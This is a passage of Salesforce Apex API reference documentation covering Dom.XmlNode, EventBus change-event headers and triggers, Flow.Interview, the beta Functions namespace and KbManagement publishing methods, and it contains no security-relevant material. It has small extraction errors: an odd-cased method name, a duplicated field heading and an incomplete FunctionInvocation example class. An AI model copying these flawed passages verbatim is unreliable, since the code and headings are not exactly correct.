Parameters
name
  Type: String
namespace
  Type: String

Return Value
Type: Dom.XmlNode

getChildElements()
Returns the child element nodes for this node. This doesn’t include child text or comment nodes.

Signature
public Dom.XmlNode[] getChildElements()

Return Value
Type: Dom.XmlNode[]

gETCHildren()
Returns the child nodes for this node. This includes all node types.

Signature
public Dom.XmlNode[] getChildren()

Return Value
Type: Dom.XmlNode[]
getName()
Returns the element name.

Signature
public String getName()

Return Value
Type: String

getNamespace()
Returns the namespace of the element.

Signature
public String getNamespace()

Return Value
Type: String

getNamespaceFor(prefix)
Returns the namespace of the element for the given prefix.

Signature
public String getNamespaceFor(String prefix)

Parameters
prefix
Type: String

Return Value
Type: String

getNodeType()
Returns the node type.

Signature
public Dom.XmlNodeType getNodeType()

Return Value
Type: Dom.XmlNodeType
**getParent()**
Returns the parent of this element.

Signature
public Dom.XmlNode getParent()

Return Value
Type: Dom.XmlNode

**getPrefixFor(namespace)**
Returns the prefix of the given namespace.

Signature
public String getPrefixFor(String namespace)

Parameters
namespace
Type: String
The namespace argument can't have a null value.

Return Value
Type: String

**getText()**
Returns the text for this node.

Signature
public String getText()

Return Value
Type: String

**insertBefore(newChild, refChild)**
Inserts a new child node before the specified node.

Signature
public Dom.XmlNode insertBefore(Dom.XmlNode newChild, Dom.XmlNode refChild)
Parameters

newChild
Type: Dom.XmlNode
The node to insert.

refChild
Type: Dom.XmlNode
The node before the new node.

Return Value
Type: Dom.XmlNode

Usage

• If refChild is null, newNode is inserted at the end of the list.
• If refChild doesn’t exist, an exception is thrown.

removeAttribute(key, keyNamespace)
Removes the attribute with the given key and key namespace. Returns true if successful, false otherwise.

Signature
public Boolean removeAttribute(String key, String keyNamespace)

Parameters

key
Type: String

keyNamespace
Type: String

Return Value
Type: Boolean

removeChild(childNode)
Removes the given child node.

Signature
public Boolean removeChild(Dom.XmlNode childNode)

Parameters

childNode
Type: Dom.XmlNode
Return Value
Type: Boolean

`setAttribute(key, value)`
Sets the key attribute value.

Signature
`public Void setAttribute(String key, String value)`

Parameters
- **key**
  Type: String
- **value**
  Type: String

Return Value
Type: Void

`setAttributeNs(key, value, keyNamespace, valueNamespace)`
Sets the key attribute value.

Signature
`public Void setAttributeNs(String key, String value, String keyNamespace, String valueNamespace)`

Parameters
- **key**
  Type: String
- **value**
  Type: String
- **keyNamespace**
  Type: String
- **valueNamespace**
  Type: String

Return Value
Type: Void

`setNamespace(prefix, namespace)`
Sets the namespace for the given prefix.
public Void setNamespace(String prefix, String namespace)

Parameters
prefix
Type: String
namespace
Type: String

Return Value
Type: Void

EventBus Namespace

The EventBus namespace provides classes and methods for platform events and Change Data Capture events. The following are the classes in the EventBus namespace.

IN THIS SECTION:

ChangeEventHeader Class
Contains header fields of Change Data Capture events.

TestBroker Class
Contains a method that delivers platform event or change event messages in an Apex test.

TriggerContext Class
Provides information about the platform event or change event trigger that’s currently executing, such as how many times the trigger was retried due to the EventBus.RetryableException. Also, provides a method to resume trigger executions.

SEE ALSO:
Platform Events Developer Guide

ChangeEventHeader Class
Contains header fields of Change Data Capture events.

Namespace
EventBus

IN THIS SECTION:
ChangeEventHeader Properties

SEE ALSO:
Change Data Capture Developer Guide
ChangeEventHeader Properties

The following are properties for ChangeEventHeader.

IN THIS SECTION:

- **changedfields**
  A list of the fields that were changed in an update operation, including the LastModifiedDate system field. This field is empty for other operations, including record creation. This property is available in Apex saved using API version 47.0 or later.

- **changeorigin**
  Only populated for changes done by API apps or from Lightning Experience; empty otherwise. The Salesforce API and the API client ID that initiated the change, if set by the client. Use this field to detect whether your app initiated the change to not process the change again and potentially avoid a deep cycle of changes.

- **changetype**
  The operation that caused the change.

- **commitnumber**
  The system change number (SCN) of a committed transaction, which increases sequentially. This field is provided for diagnostic purposes. The field value is not guaranteed to be unique in Salesforce—it is unique only in a single database instance. If your Salesforce org migrates to another database instance, the commit number might not be unique or sequential.

- **committimestamp**
  The date and time when the change occurred, represented as the number of milliseconds since January 1, 1970 00:00:00 GMT.

- **commituser**
  The ID of the user that ran the change operation.

- **difffields**
  Contains the names of fields whose values are sent as a unified diff because they contain large text values.

- **entityname**
  The API name of the standard or custom object that the change pertains to. For example, Account or MyObject__c.

- **nulledfields**
  Contains the names of fields whose values were changed to null in an update operation. Use this field in Apex change event messages to determine if a field was changed to null in an update and isn’t an unchanged field.

- **recordids**
  One or more record IDs for the changed records. Typically, this field contains one record ID. If in one transaction the same change occurred in multiple records of the same object type during one second, Salesforce merges the change notifications. In this case, Salesforce sends one change event for all affected records and the recordIds field contains the IDs for all records that have the same change.

- **sequencenumber**
  The sequence of the change within a transaction. The sequence number starts from 1.

- **transactionkey**
  A string that uniquely identifies each Salesforce transaction. You can use this key to identify and group all changes that were made in the same transaction.

**changedfields**

A list of the fields that were changed in an update operation, including the LastModifiedDate system field. This field is empty for other operations, including record creation. This property is available in Apex saved using API version 47.0 or later.
**changedfields**

Only populated for changes done by API apps or from Lightning Experience; empty otherwise. The Salesforce API and the API client ID that initiated the change, if set by the client. Use this field to detect whether your app initiated the change to not process the change again and potentially avoid a deep cycle of changes.

**changeorigin**

The format of the `changeOrigin` field value is:

```
com/salesforce/api/<API_Name>/<API_Version>;client=<Client_ID>
```

- `<API_Name>` is the name of the Salesforce API used to make the data change. It can take one of these values: soap, rest, bulkapi, xmlrpc, oldsoap, toolingsoap, toolingrest, apex, apexdebuggerrest.
- `<API_Version>` is the version of the API call that made the change and is in the format `XX.X`.
- `<Client_ID>` is a string that contains the client ID of the app that initiated the change. If the client ID is not set in the API call, `<Client_ID>` is not appended to the `changeOrigin` field.

**Example:**

```
com/salesforce/api/soap/49.0;client=Astro
```

The client ID is set in the Call Options header of an API call. For an example on how to set the Call Options header, see:

- REST API: `Sforce-Call-Options Header`. (Bulk API also uses the Sforce-Call-Options header.)
- SOAP API: `CallOptions Header`. (Apex API also uses the CallOptions element.)

**changetype**

The operation that caused the change.

**Example:**

```
public String changetype {get; set;}
```

Can be one of the following values:
• CREATE
• UPDATE
• DELETE
• UNDELETE

For gap events, the change type starts with the GAP_ prefix.

• GAP_CREATE
• GAP_UPDATE
• GAP_DELETE
• GAP_UNDELETE

For overflow events, the change type is GAP_OVERFLOW.

**commitnumber**

The system change number (SCN) of a committed transaction, which increases sequentially. This field is provided for diagnostic purposes. The field value is not guaranteed to be unique in Salesforce—it is unique only in a single database instance. If your Salesforce org migrates to another database instance, the commit number might not be unique or sequential.

Signature

```java
public Long commitnumber {get; set;}
```

Property Value

Type: Long

**committimestamp**

The date and time when the change occurred, represented as the number of milliseconds since January 1, 1970 00:00:00 GMT.

Signature

```java
public Long committimestamp {get; set;}
```

Property Value

Type: Long

**commituser**

The ID of the user that ran the change operation.

Signature

```java
public String commituser {get; set;}
```

Property Value

Type: String
**difffields**
Contains the names of fields whose values are sent as a unified diff because they contain large text values.

Signature
```csharp
public List<String> difffields {get; set;}
```

Property Value
Type: List<String>

SEE ALSO:
* Change Data Capture Developer Guide: Sending Data Differences for Fields of Updated Records

**entityname**
The API name of the standard or custom object that the change pertains to. For example, Account or MyObject__c.

Signature
```csharp
public String entityname {get; set;}
```

Property Value
Type: String

**nulledfields**
Contains the names of fields whose values were changed to null in an update operation. Use this field in Apex change event messages to determine if a field was changed to null in an update and isn't an unchanged field.

Signature
```csharp
public List<String> nulledfields {get; set;}
```

Property Value
Type: List<String>

**recordids**
One or more record IDs for the changed records. Typically, this field contains one record ID. If in one transaction the same change occurred in multiple records of the same object type during one second, Salesforce merges the change notifications. In this case, Salesforce sends one change event for all affected records and the `recordIds` field contains the IDs for all records that have the same change.

Signature
```csharp
public List<String> recordids {get; set;}
```
Examples of operations with same changes are:

- Update of fieldA to valueA in Account records.
- Deletion of Account records.
- Renaming or replacing a picklist value that results in updating the field value in all affected records.

The `recordIds` field can contain a wildcard value when a change event message is generated for custom field type conversions that cause data loss. In this case, the `recordIds` value is the three-character prefix of the object, followed by the wildcard character `*`. For example, for accounts, the value is `001*`.

**sequencenumber**

The sequence of the change within a transaction. The sequence number starts from 1.

Signature

```java
public Integer sequencenumber {get; set;}
```

**transactionkey**

A string that uniquely identifies each Salesforce transaction. You can use this key to identify and group all changes that were made in the same transaction.

Signature

```java
public String transactionkey {get; set;}
```

**TestBroker Class**

Contains a method that delivers platform event or change event messages in an Apex test.
Namespace

EventBus

IN THIS SECTION:

TestBroker Methods

TestBroker Methods
The following are methods for TestBroker.

IN THIS SECTION:

deliver()
Delivers platform event messages to the test event bus. Use this method to deliver test event messages multiple times and verify that event subscribers have processed the test events each step of the way.

deliver()
Delivers platform event messages to the test event bus. Use this method to deliver test event messages multiple times and verify that event subscribers have processed the test events each step of the way.

Signature
public void deliver()

Return Value
Type: void

Usage
Enclose Test.getEventBus().deliver() within the Test.startTest() and Test.stopTest() statement block.

```
Test.startTest();
// Create test events
// ...
// Publish test events with EventBus.publish()
// ...
// Deliver test events
Test.getEventBus().deliver();
// Perform validation
// ...
Test.stopTest();
```

SEE ALSO:

Platform Events Developer Guide
TriggerContext Class

Provides information about the platform event or change event trigger that’s currently executing, such as how many times the trigger was retried due to the EventBus.RetryableException. Also, provides a method to resume trigger executions.

Namespace

EventBus

IN THIS SECTION:

TriggerContext Properties

TriggerContext Methods

TriggerContext Properties

The following are properties for TriggerContext.

IN THIS SECTION:

lastError

Read-only. The error message that the last thrown EventBus.RetryableException contains.

retries

Read-only. The number of times the trigger was retried due to throwing the EventBus.RetryableException.

lastError

Read-only. The error message that the last thrown EventBus.RetryableException contains.

Signature

public String lastError {get;}

Property Value

Type: String

Usage

The error message that this property returns is the message that was passed in when creating the EventBus.RetryableException exception, as follows.

```
throw new EventBus.RetryableException('Condition is not met, so retrying the trigger again.');
```

retries

Read-only. The number of times the trigger was retried due to throwing the EventBus.RetryableException.
Signature

```java
public Integer retries {get;}
```

Property Value

Type: Integer

**TriggerContext Methods**

The following are methods for TriggerContext.

**IN THIS SECTION:**

- `currentContext()`
  Returns an instance of the `EventBus.TriggerContext` class containing information about the currently executing trigger.

- `getResumeCheckpoint()`
  Returns the replay ID that was set by `setResumeCheckpoint()`. The returned value is the replay ID of the event message after which trigger processing resumes in a new trigger invocation.

- `setResumeCheckpoint(resumeReplayId)`
  Sets a checkpoint in the event stream where the platform event trigger resumes execution in a new invocation. Use this method to recover from limit and uncaught exceptions, or to control the number of events processed in one trigger execution. When calling this method, pass in the replay ID of the last successfully processed event message. When the trigger stops execution before all events in `Trigger.New` are processed, either because of an uncaught exception or intentionally, the trigger is invoked again. The new execution starts with the event message in the stream after the one with the checkpointed Replay ID.

**currentContext()**

Returns an instance of the `EventBus.TriggerContext` class containing information about the currently executing trigger.

Signature

```java
public static eventbus.TriggerContext currentContext()
```

Return Value

Type: `EventBus.TriggerContext`

Information about the currently executing trigger.

**getResumeCheckpoint()**

Returns the replay ID that was set by `setResumeCheckpoint()`. The returned value is the replay ID of the event message after which trigger processing resumes in a new trigger invocation.

Signature

```java
public String getResumeCheckpoint()
```
Return Value
Type: String

**setResumeCheckpoint(resumeReplayId)**

Sets a checkpoint in the event stream where the platform event trigger resumes execution in a new invocation. Use this method to recover from limit and uncaught exceptions, or to control the number of events processed in one trigger execution. When calling this method, pass in the replay ID of the last successfully processed event message. When the trigger stops execution before all events in Trigger.New are processed, either because of an uncaught exception or intentionally, the trigger is invoked again. The new execution starts with the event message in the stream after the one with the checkpointed Replay ID.

Signature

```java
public void setResumeCheckpoint(String resumeReplayId)
```

Parameters

resumereplayId
Type: String
The replay ID of the last successfully processed platform event message, after which to resume processing in a new trigger execution context.

Return Value
Type: void

Usage

The method throws an EventBus.InvalidReplayIdException if the supplied Replay ID is not valid—the replay ID is not in the current trigger batch of events, in the Trigger.new list.

Example

This snippet shows how to call the method and pass in the replayId property of an event instance.

```java
EventBus.TriggerContext.currentContext().setResumeCheckpoint(event.replayId);
```

**Flow Namespace**

The Flow namespace provides a class for advanced Visualforce controller access to flows.
The following is the class in the Flow namespace.

IN THIS SECTION:

**Interview Class**
The Flow.Interview class provides advanced controller access to flows and the ability to start a flow.
Interview Class

The `Flow.Interview` class provides advanced controller access to flows and the ability to start a flow.

Namespace

Flow

Usage

SOQL and DML limits apply during flow execution. See Per-Transaction Flow Limits in the Salesforce Help.

To create an Interview object, you have two options.

1. Create the object directly in your class by using:
   - No namespace: `Flow.Interview.flowName`
   - Namespace: `Flow.Interview.namespace.flowName`

2. Create the object dynamically by using `createInterview()`

**Note:** We recommend only using `createInterview()` if you need to reuse your method or class. Using `createInterview()` has these drawbacks:

- If you package a class that uses `createInterview()`, you have to add the associated flow manually.
- If you delete a flow, Salesforce doesn’t check if it’s referenced with `createInterview()`.

Examples: Starting Flow Interviews

The following examples are all sample controllers that start an interview for the flow from the Build a Discount Calculator project on Trailhead. Each shows a different permutation, based on:

- Whether the interview is created statically, with `Flow.Interview.myFlow`, or dynamically, with `createInterview()`.
- Whether the flow is managed or local.

### Interview Created Statically for a Local Flow

```java
{  
    Map<String, Object> inputs = new Map<String, Object>();  
    inputs.put('AccountID', myAccount);  
    inputs.put('OpportunityID', myOppty);  

    Flow.Interview.Calculate_discounts myFlow =  
        new Flow.Interview.Calculate_discounts(inputs);  
    myFlow.start();  
}
```

### Interview Created Dynamically for a Local Flow

```java
public void callFlow(String flowName, Map<String, Object> inputs) {  
    Flow.Interview myFlow = Flow.Interview.createInterview(flowName, inputs);  
    myFlow.start();  
}
```
Interview Created Statically for a Managed Flow

```java
{
    Map<String, Object> inputs = new Map<String, Object>();
    inputs.put('AccountID', myAccount);
    inputs.put('OpportunityID', myOppty);

    Flow.Interview.myNamespace.Calculate_discounts myFlow =
        new Flow.Interview.myNamespace.Calculate_discounts(inputs);
    myFlow.start();
}
```

Interview Created Dynamically for a Managed Flow

```java
public void callFlow(String namespace, String flowName, Map <String, Object> inputs) {
    Flow.Interview myFlow = Flow.Interview.createInterview(namespace, flowName, inputs);
    myFlow.start();
}
```

Example: Getting Variable Values

This sample uses the `getVariableValue` method to obtain breadcrumb (navigation) information from a flow. If that flow contains subflow elements, and each of the referenced flows also contains a `vaBreadCrumb` variable, you can provide users with breadcrumbs regardless of which flow the interview is running.

```java
public class SampleController {

    // Instance of the flow
    public Flow.Interview.Flow_Template_Gallery myFlow {get; set;}

    public String getBreadCrumb() {
        String aBreadCrumb;
        if (myFlow==null) { return 'Home';}
        else aBreadCrumb = (String) myFlow.getVariableValue('vaBreadCrumb');

        return(aBreadCrumb==null ? 'Home': aBreadCrumb);
    }
}
```

Interview Methods

The following are instance methods for `Interview`.

`createInterview(namespace, flowName, inputVariables)`

Creates an interview for a namespaced flow.

Signature

```java
public static Flow.Interview createInterview(String namespace, String flowName, 
Map<String,ANY> inputVariables)
```
Parameters

namespace
Type: String
The flow’s namespace.

flowName
Type: String
The flow’s API name.

inputVariables
Type: Map<String,Object>
Initial values for the flow’s input variables.

Return Value
Type: Flow.Interview

Usage
Use this method to dynamically create a Flow.Interview object for the start() method.

How you get output variable values from an interview depends on the type of the Apex variable where you’re storing the interview.

- If the variable is cast to a specific flow, you can use myFlow.myVar to access a variable, where myVar is the name of the variable.

  ```java
  system.debug('My Output Variable: ' + myFlow.varName);
  ```

- If the variable is of type Flow.Interview but not cast to a specific flow, you must use getVariableValue() to access the flow’s variables.

  ```java
  system.debug('My Output Variable: ' + myFlow.getVariableValue('varName'));
  ```

If the flow doesn’t exist in the current org, a TypeException is thrown.

**createInterview(flowName, inputVariables)**

Creates an interview for a flow.

Signature

```java
public static Flow.Interview createInterview(String flowName, Map<String,Object> inputVariables)
```

Parameters

flowName
Type: String
The flow’s API name.

inputVariables
Type: Map<String,Object>
Initial values for the flow’s input variables.
Return Value
Type: Flow.Interview

Usage
Use this method to dynamically create a Flow.Interview object for the `start()` method.

How you get output variable values from an interview depends on the type of the Apex variable where you're storing the interview.

- If the variable is cast to a specific flow, you can use `myFlow.myVar` to access a variable, where `myVar` is the name of the variable.
  ```java
  system.debug('My Output Variable: ' + myFlow.varName);
  ```

- If the variable is of type Flow.Interview but not cast to a specific flow, you must use `getVariableValue()` to access the flow's variables.
  ```java
  system.debug('My Output Variable: ' + myFlow.getVariableValue('varName'));
  ```

If the flow doesn't exist in the current org, a TypeException is thrown.

### `getVariableValue(variableName)`

Returns the value of the specified flow variable. The flow variable can be in the flow embedded in the Visualforce page, or in a separate flow that is called by a subflow element.

**Signature**

```java
public Object getVariableValue(String variableName)
```

**Parameters**

- `variableName`
  
  Type: String
  
  Specifies the unique name of the flow variable.

**Return Value**

Type: Object

**Usage**

The returned variable value comes from whichever flow the interview is running. If the specified variable can't be found in that flow, the method returns `null`.

This method checks for the existence of the variable at run time only, not at compile time.

### `start()`

Starts an instance (interview) for an autolaunched or user provisioning flow.

**Signature**

```java
public Void start()
```
Return Value
Type: Void

Usage
This method can be used only with flows that have one of these types.

- Autolaunched Flow
- User Provisioning Flow

For details, see “Flow Types” in Salesforce Help.

When a flow user invokes an autolaunched flow, the active flow version runs. If there's no active version, the latest version runs. When a flow admin invokes a flow, the latest version always runs.

Functions Namespace (Beta)

The Functions namespace provides classes and methods used to invoke and manage Salesforce Functions.

Note: As a beta feature, Salesforce Functions is a preview and isn’t part of the “Services” under your master subscription agreement with Salesforce. Use this feature at your sole discretion, and make your purchase decisions only on the basis of generally available products and features. Salesforce doesn't guarantee general availability of this feature within any particular time frame or at all, and we can discontinue it at any time. This feature is for evaluation purposes only, not for production use. It's offered as is and isn't supported, and Salesforce has no liability for any harm or damage arising out of or in connection with it. All restrictions, Salesforce reservation of rights, obligations concerning the Services, and terms for related Non-Salesforce Applications and Content apply equally to your use of this feature. You can provide feedback and suggestions for Salesforce Functions in the Salesforce Functions Trailblazer Community. For information on enabling this feature in your org, contact Salesforce.

Salesforce Functions is your code, run on demand, in the Salesforce Functions trusted elastic compute cloud. Upload your complex business logic code, written using your preferred languages and frameworks, and Salesforce Functions takes care of everything else necessary to invoke your code in a secure, multi-tenant aware, and self-scaling environment. For more details on Salesforce Functions, see Salesforce Functions.

The following are the classes in the functions namespace.

IN THIS SECTION:
Function Class
Use the Function class to access deployed Salesforce Functions, and invoke them synchronously or asynchronously.

FunctionCallback Interface
Represents the callback Salesforce calls when an asynchronous, queued Function invocation has completed.

FunctionInvocation Interface
Use FunctionInvocation to get the status and results of a synchronous or asynchronous Function invocation.

FunctionInvocationError Interface
Use FunctionInvocationError to get detailed error information about a failed Function invocation.

FunctionInvocationStatus Enum
Represents the status of a Function invocation.
Function Class
Use the Function class to access deployed Salesforce Functions, and invoke them synchronously or asynchronously.

Namespace
functions

Usage
The Function class represents an instance of a deployed Function you can invoke from your org. You can invoke Functions synchronously, or asynchronously using asynchronous Apex.

If your Function takes longer than 2 minutes to return, the request will time out. To avoid this, consider using asynchronous invocation. Invoking a Function asynchronously doesn’t count against asynchronous Apex limits, such as Apex Queueable limits.

Before synchronously invoking a Function, commit any pending data operations in Apex, otherwise you will get a CalloutException. For asynchronous invocations, the queued invocation will not happen if the Apex transaction is not committed. Any data operations that happen in the Function itself are not considered part of the Apex transaction.

Example
The following example synchronously invokes a deployed “AccountFunction” Function:

```apex
functions.Function accountFunction = functions.Function.get('AccountFunction');
functions.FunctionInvocation invocation = accountFunction.invoke('{ "accountName" : "Acct", "contactName" : "MyContact", "opportunityName" : "Oppty" }');
String jsonResponse = invocation.getResponse();
```

The following example asynchronously invokes a deployed “AccountFunction” Function, using the provided callback:

```apex
functions.Function accountFunction = functions.Function.get('AccountFunction');
accountFunction.invoke('{ "accountName" : "Acct", "contactName" : "MyContact", "opportunityName" : "Oppty" }', new MyCallback());

public class MyCallback implements functions.FunctionCallback {
    public void handleResponse(functions.FunctionInvocation result) {
        // Handle result of function invocation
        // ...
    }
}
```

IN THIS SECTION:

  Function Methods

Function Methods
The following are methods for Function.
get(functionName)
Returns the Function instance for the named Function. The Function must be deployed to the Salesforce Functions Space and App that your org is bound to and have appropriate permissions to work with the org running your Apex code.

invoke(payload, callback)
Invokes the Function asynchronously.

invoke(payload)
Invokes the Function synchronously.

get(functionName)
Returns the Function instance for the named Function. The Function must be deployed to the Salesforce Functions Space and App that your org is bound to and have appropriate permissions to work with the org running your Apex code.

Signature

```java
public static functions.Function get(String functionName)
```

Parameters

**functionName**
Type: *String*

The name of the Salesforce Function. The Function must be deployed to the Salesforce Functions infrastructure, and your org must be bound to the Salesforce Functions Space and App the Function was deployed to.

Return Value

Type: *functions.Function*

Returns a Function instance that you can invoke.

invoke(payload, callback)
Invokes the Function asynchronously.

Signature

```java
public functions.FunctionInvocation invoke(String payload, functions.FunctionCallback callback)
```

Parameters

**payload**
Type: *String*

The payload data that gets passed to the Function. Specify your payload data in a JSON-format string.

**callback**
Type: *functions.FunctionCallback*

A FunctionCallback implementation that gets called when your Function is invoked asynchronously.
Return Value
Type: functions.FunctionInvocation
Returns a FunctionInvocation that contains information about the results of the invocation, such as the Function response, or error results.

**invoke (payload)**
Invokes the Function synchronously.

Signature
```java
public functions.FunctionInvocation invoke(String payload)
```

Parameters
`payload`
Type: String
The payload data that gets passed to the Function. Specify your payload data in a JSON-format string.

Return Value
Type: functions.FunctionInvocation
Returns a FunctionInvocation that contains information about the results of the invocation, such as the Function response, or error results.

**FunctionCallback Interface**
Represents the callback Salesforce calls when an asynchronous, queued Function invocation has completed.

**Namespace**
functions

**Usage**
When invoking Functions asynchronously via `Function.invoke (payload, callback)`, you provide your own class that implements FunctionCallback.

IN THIS SECTION:
- FunctionCallback Methods
- FunctionCallback Example Implementation

**FunctionCallback Methods**
The following are methods for FunctionCallback.
handleResponse(var1)
Called when an asynchronous Function invocation has completed.

handleResponse(var1)
Called when an asynchronous Function invocation has completed.

Signature
public void handleResponse(functions.FunctionInvocation var1)

Parameters
var1
Type: functions.FunctionInvocation
The result parameter contains JSON response information and error information.

Return Value
Type: void

FunctionCallback Example Implementation
This is an example implementation of the functions.FunctionCallback interface.

```java
public class MyCallback implements functions.FunctionCallback {
    public void handleResponse(functions.FunctionInvocation result) {
        // Handle result of function invocation
        String jsonResponse = result.getResponse();
        System.debug('Got response ' + jsonResponse);
        JSONParser parser = JSON.createParser(jsonResponse);
        // Process JSON using your own data class...
    }
}
```

The following example uses this implementation when invoking a Function asynchronously:

```java
myFunction.invoke('{ "accountName" : "Acct", "contactName" : "MyContact", "opportunityName" : "Oppty" }', new MyCallback());
```

FunctionInvocation Interface
Use FunctionInvocation to get the status and results of a synchronous or asynchronous Function invocation.

Namespace
functions
**Usage**

The results of a Function invocation are passed back via FunctionInvocation. Use this instance to determine if the invocation was successful, and any results from the Function invocation.

You can also implement your own FunctionInvocation interface if you run Apex tests with your Function invocation code. Your test code can create and use your own FunctionInvocation instance in place of using the results from a call to `Function.invoke()`.

IN THIS SECTION:
- FunctionInvocation Methods
- FunctionInvocation Example Implementation

**FunctionInvocation Methods**

The following are methods for `FunctionInvocation`.

IN THIS SECTION:
- `getError()`
- `getInvocationId()`
- `getResponse()`
- `getStatus()`

**getError()**

Returns error information for a Function invocation.

**Signature**

```java
public functions.FunctionInvocationError getError()
```

**Return Value**

**Type:** `functions.FunctionInvocationError`

Contains a `FunctionInvocationError` instance that you can use to get information about any invocation errors. If the Function was invoked successfully, the returned instance is null.

**getInvocationId()**

Returns the invocation ID of the Function invocation.

**Signature**

```java
public String getInvocationId()
```
Return Value

Type: **String**

This ID is available after a call to either the synchronous or asynchronous `Function.invoke()` methods. For asynchronous invocations, this ID can be used to check the status of the queued invocation.

**getResponse()**

Returns the response string of the Function invocation.

Signature

```java
public String getResponse()
```

Return Value

Type: **String**

The response string is the raw request JSON response, which can be parsed using the `JSONParser Class`.

**getStatus()**

Returns the status of the Function invocation.

Signature

```java
public functions.FunctionInvocationStatus getStatus()
```

Return Value

Type: `functions.FunctionInvocationStatus`

The result of the invocation, such as `FunctionInvocationStatus.SUCCESS` or `FunctionInvocationStatus.FAILURE`.

**FunctionInvocation Example Implementation**

This is an example implementation of the `functions.FunctionInvocation` interface.

```java
public class MyFunctionInvocationError
    implements functions.FunctionInvocationError {
    public String getMessage() {
        return 'Mock error message for testing';
    }
}

public class MyFunctionInvocation
    implements functions.FunctionInvocation {
    public functions.FunctionInvocationStatus getStatus() {
        return functions.FunctionInvocationStatus.FAILURE;
    }
    public String getResponse() {
        return 'Mock response for testing';
    }
```
The following example tests the implementation:

```java
functions.FunctionInvocation testInvocation = new MyFunctionInvocation();
if (testInvocation.getStatus() == functions.FunctionInvocationStatus.FAILURE) {
    System.debug('Error: ' + (testInvocation.getError() != null ? testInvocation.getError().getMessage() : 'UNKNOWN'));
    return;
}
```

FunctionInvocationError Interface

Use FunctionInvocationError to get detailed error information about a failed Function invocation.

Namespace

functions

Usage

FunctionInvocationError contains various error information such as the error message at the time of the error.

IN THIS SECTION:
- FunctionInvocationError Methods
- FunctionInvocationError Example Implementation

FunctionInvocationError Methods

The following are methods for FunctionInvocationError.

IN THIS SECTION:
- `getMessage()`
  Returns the error message from a Function invocation error.
Signature

```java
public String getMessage()
```

Return Value
Type: String

### FunctionInvocationError Example Implementation

This is an example implementation of the `functions.FunctionInvocationError` interface.

```java
public class MyFunctionInvocationError
    implements functions.FunctionInvocationError {
    public String getMessage() {
        return 'Mock error message for testing';
    }
}
```

The following example tests the implementation:

```java
functions.FunctionInvocationError testError = new MyFunctionInvocationError();
System.debug('Error: ' + testError.getMessage());
```

### FunctionInvocationStatus Enum

Represents the status of a Function invocation.

#### Enum Values

The following are the values of the `functions.FunctionInvocationStatus` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>FAILURE</td>
<td>The invocation failed. Check the FunctionInvocation and FunctionInvocationError returned by the invoke call to debug the issue.</td>
</tr>
<tr>
<td>PENDING</td>
<td>The invocation is pending. If the Function is being invoked asynchronously, the invocation is still in the asynch queue.</td>
</tr>
<tr>
<td>SUCCESS</td>
<td>The invocation succeeded. Use <code>FunctionInvocation.getResponse()</code> with the FunctionInvocation instance returned by the invoke call to get any response returned by the Function.</td>
</tr>
</tbody>
</table>

### KbManagement Namespace

The `KbManagement` namespace provides a class for managing knowledge articles.

The following is the class in the `KbManagement` namespace.
IN THIS SECTION:

PublishingService Class

Use the methods in the KbManagement.PublishingService class to manage the lifecycle of an article and its translations.

PublishingService Class

Use the methods in the KbManagement.PublishingService class to manage the lifecycle of an article and its translations.

Namespace

KbManagement

Usage

Use the methods in the KbManagement.PublishingService class to manage the following parts of the lifecycle of an article and its translations:

- Publishing
- Updating
- Retrieving
- Deleting
- Submitting for translation
- Setting a translation to complete or incomplete status
- Archiving
- Assigning review tasks for draft articles or translations

Note: Date values are based on GMT.

To use the methods in this class, you must enable Salesforce Knowledge. See Salesforce Knowledge Implementation Guide for more information on setting up Salesforce Knowledge.

PublishingService Methods

The following are methods for PublishingService. All methods are static.

IN THIS SECTION:

archiveOnlineArticle(articleId, scheduledDate)

Archives an online version of an article. If the specified scheduledDate is null, the article is archived immediately. Otherwise, it archives the article on the scheduled date.

assignDraftArticleTask(articleId, assigneeId, instructions, dueDate, sendEmailNotification)

Assigns a review task related to a draft article.

assignDraftTranslationTask(articleVersionId, assigneeId, instructions, dueDate, sendEmailNotification)

Assigns a review task related to a draft translation.

cancelScheduledArchivingOfArticle(articleId)

Cancels the scheduled archiving of an online article.
cancelScheduledPublicationOfArticle(articleId)
Cancels the scheduled publication of a draft article.

completeTranslation(articleVersionId)
Puts a translation in a completed state that is ready to publish.

deleteArchivedArticle(articleId)
Deletes an archived article.

deleteArchivedArticleVersion(articleId, versionNumber)
Deletes a specific version of an archived article.

deleteDraftArticle(articleId)
Deletes a draft article.

deleteDraftTranslation(articleVersionId)
Deletes a draft translation.

editArchivedArticle(articleId)
Creates a draft article from the archived master version and returns the new draft master version ID of the article.

editOnlineArticle(articleId, unpublish)
Creates a draft article from the online version and returns the new draft master version ID of the article. Also, unpublishes the online article, if unpublish is set to true.

editPublishedTranslation(articleId, language, unpublish)
Creates a draft version of the online translation for a specific language and returns the new draft master version ID of the article. Also, unpublishes the article, if set to true.

publishArticle(articleId, flagAsNew)
Publishes an article. If flagAsNew is set to true, the article is published as a major version.

restoreOldVersion(articleId, versionNumber)
Creates a draft article from an existing online article based on the specified archived version of the article and returns the article version ID.

scheduleForPublication(articleId, scheduledDate)
Schedules the article for publication as a major version. If the specified date is null, the article is published immediately.

setTranslationToIncomplete(articleVersionId)
Sets a draft translation that is ready for publication back to “in progress” status.

submitForTranslation(articleId, language, assigneeId, dueDate)
Submits an article for translation to the specified language. Also assigns the specified user and due date to the submittal and returns new ID of the draft translation.

archiveOnlineArticle(articleId, scheduledDate)
Archives an online version of an article. If the specified scheduledDate is null, the article is archived immediately. Otherwise, it archives the article on the scheduled date.

Signature

```java
public static Void archiveOnlineArticle(String articleId, Datetime scheduledDate)
```
Parameters

articleId
  Type: String
scheduledDate
  Type: Datetime

Return Value
Type: Void

Example

```java
String articleId = 'Insert article ID';
Datetime scheduledDate = Datetime.newInstanceGmt(2012, 12,1,13,30,0);
KbManagement.PublishingService.archiveOnlineArticle(articleId, scheduledDate);
```

assignDraftArticleTask(articleId, assigneeId, instructions, dueDate, sendEmailNotification)
Assigns a review task related to a draft article.

Signature

```java
public static Void assignDraftArticleTask(String articleId, String assigneeId, String instructions, Datetime dueDate, Boolean sendEmailNotification)
```

Parameters

articleId
  Type: String
assigneeId
  Type: String
instructions
  Type: String
dueDate
  Type: Datetime
sendEmailNotification
  Type: Boolean

Return Value
Type: Void

Example

```java
String articleId = 'Insert article ID';
String assigneeId = '';
String instructions = 'Please review this draft.';
```
assignDraftTranslationTask(articleVersionId, assigneeId, instructions, dueDate, sendEmailNotification)

Assigns a review task related to a draft translation.

Signature

